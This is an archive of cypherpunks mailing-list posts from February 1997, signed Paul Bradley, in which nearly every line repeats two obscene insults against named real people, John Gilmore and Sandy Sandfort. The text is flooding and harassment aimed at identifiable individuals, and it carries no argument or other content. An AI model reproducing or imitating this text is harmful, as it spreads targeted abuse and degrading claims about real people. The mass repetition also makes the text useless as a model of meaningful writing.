John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771061.522335.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771083.522522.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770993.521758.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771073.522430.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770989.521714.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771042.522195.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:34:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770968.521466.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
